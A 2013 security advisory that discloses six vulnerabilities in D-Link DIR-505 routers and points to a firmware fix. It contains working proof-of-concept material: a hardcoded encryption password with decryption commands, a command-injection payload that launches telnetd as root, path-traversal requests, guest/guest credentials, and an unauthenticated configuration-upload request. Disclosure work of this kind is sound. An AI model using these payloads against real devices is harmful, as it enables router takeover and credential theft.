D-Link DIR-505 1.06 – Multiple Vulnerabilities
Multiple vulnerabilities on D-Link Dir-505 devices ================================================== [ADVISORY INFORMATION] Title: Multiple vulnerabilities on D-Link Dir-505 devices Discovery date: 05/04/2013 Release date: 09/09/2013 Credits: Alessandro Di Pinto (alessandro.dipinto () artificialstudios org) Twitter: @adipinto [AFFECTED PRODUCTS] This security vulnerability affects the following products and firmware versions: * D-Link DIR-505, firmware version <= 1.06 Other products and firmware versions could also be vulnerable, but they were not checked. [VULNERABILITY DETAILS] 1) Weak configuration file encryption The file provided to the end-user in order to make a backup copy of the device configuration, is encrypted with a hardcoded password. The device firmware creates the configuration file in three specific steps, as shown below: - Collect the configuration data to backup - Encrypt entries with the hardcoded password "sw5-superman" - Create the file header through the tool "imghdr" The file header has the fixed-size of 84 byte. An attacker ables to get an encrypted configuration file could decrypt its contents with the following command: sh# dd if=config-file of=config-file-no-header bs=84 skip=1 sh# ccrypt -d -K sw5-superman config-file-no-header Decrypted file contains sensitive information that an attacker could use in order to compromise the target device (e.g., admin password and WPA passphrase). Furthermore, an attacker can craft a own configuration file, encrypt it with the hardcoded password, append at the beginning of file a valid header and finally upload the new configuration to the target device without authentication, exploiting the "Authentication bypass" issue described inside this advisory. 2) Command Injection An authenticated attacker can exploit the "Ping Test" feature exposed inside the page "/System_Check.htm", in order to execute arbitrary commands inside the device, with root privileges. More precisely, the "ip_addr" parameter is not sanitized properly, thus it is possible to leverage traditional command injection techniques. This security issue is exploitable only after a successful authentication. Proof-of-Concept used to open telnet on vulnerable devices: """ POST /my_cgi.cgi HTTP/1.1 Host: [IP] Cookie: uid=[VALID-COOKIE-HERE] Content-Length: 55 request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd; """ 3) Path traversal (directory listing) The web-gui exposed through the port 8181/TCP is used to explore the contents of the USB drive, connected at the device. Normally the end-user is allowed to list only the files inside the own USB drive but, due to insufficient security checks, an attacker is ables to list the contents of every file system directories. Only authenticated users can exploit this issue. Proof-of-Concept used to list the device's /etc/ directory: http://192.168.0.1:8181/dws/api/ListFile?id=admin&tok= &volid=1&path=usb_dev/usb_A1/../../../../etc 4) Path traversal (file upload) The web-gui exposed through the port 8181/TCP allows authorized users (e.g., admin user) to upload files inside the USB drive connected at the device. The upload feature is present at the following link: http://[IP]:8181/folder_view.htm The upload operation is performed through a POST request to the resource "/dws/api/UploadFile" using a "multipart/form-data" content-type. Several parameters are passed but the "path" parameter can be abused in order to modify the destination directory of the uploaded file. This issue allows an authenticated user to upload an arbitrary file inside the target device. Proof-of-Concept used to upload a simple text file inside the /tmp/ directory: """ POST /dws/api/UploadFile?0.35494315220771677 HTTP/1.1 Host: [IP]:8181 Cookie: uid=[VALID-COOKIE-HERE] Content-Type: multipart/form-data; boundary=---------------------------736034324104825609817274318 Content-Length: 1179 -----------------------------736034324104825609817274318 Content-Disposition: form-data; name="id" admin -----------------------------736034324104825609817274318 Content-Disposition: form-data; name="tok" -----------------------------736034324104825609817274318 Content-Disposition: form-data; name="volid" 1 -----------------------------736034324104825609817274318 Content-Disposition: form-data; name="path" usb_dev/usb_A1/../../../../../../../../../tmp/ -----------------------------736034324104825609817274318 Content-Disposition: form-data; name="filename" exploit.txt -----------------------------736034324104825609817274318 Content-Disposition: form-data; name="upload_file"; filename="test.txt" Content-Type: text/plain malicious text -----------------------------736034324104825609817274318-- """ 5) Privilege escalation (hardcoded credential) The upload feature, described in the issue 4 titled "Path traversal (upload file)", is theoretically designed to be used only by authorized users (selected through the web-gui). The device has the following hardcoded user which cannot be deleted using the web-gui: username: guest password: guest Using this credential, the end-user can access the web-gui (exposed on the port 8181/TCP) in read-only mode; the button used to upload files is disabled in attempt to deny unauthorized operations. However due to a wrong session handling, an attacker can bypass described limitation following below steps: - Login with the hardcoded user "guest" in order to get a valid cookie. - Using this cookie it is possible to make a direct upload request like the Proof-of-Concept described previously in the issue 4. The purpose of this exploit is to perform an arbitrary file upload using an hardcoded (read-only) user. 6) Authentication bypass The "my_cgi.cgi" resource exposes several features accessible with no authentication. In particular, every request that specifies the HTTP header field "Content-type: multipart/form-data" is processed without perform any authentication check. An *unauthenticated* attacker can exploit this issue in order to upload a malicious configuration on the target device, overwriting the original configurations (e.g., set a new admin password). Proof-of-Concept used to upload a configuration file without perform the login: """ POST /my_cgi.cgi HTTP/1.1 Host: [IP] Cookie: uid=[VALID-COOKIE-HERE] Content-Type: multipart/form-data; boundary=---------------------------4318828241986447042487864450 Content-Length: 382 -----------------------------4318828241986447042487864450 Content-Disposition: form-data; name="which_action" load_conf -----------------------------4318828241986447042487864450 Content-Disposition: form-data; name="file"; filename="attacker-config.bin" Content-Type: text/plain [MALICIOUS-CONFIGURATION-HERE] -----------------------------4318828241986447042487864450-- """ [REMEDIATION] D-Link has released an updated firmware version (1.07) that addresses most of the described issues. Firmware is already available on D-Link web site, at the following URL: ftp://ftp.dlink.com/Gateway/dir505/Firmware/dir505_fw_107.zip [DISCLAIMER] The author is not responsible for the misuse of the information provided in this security advisory. The advisory is a service to the professional security community. There are NO WARRANTIES with regard to this information. Any application or distribution of this information constitutes acceptance AS IS, at the user's own risk. This information is subject to change without notice. |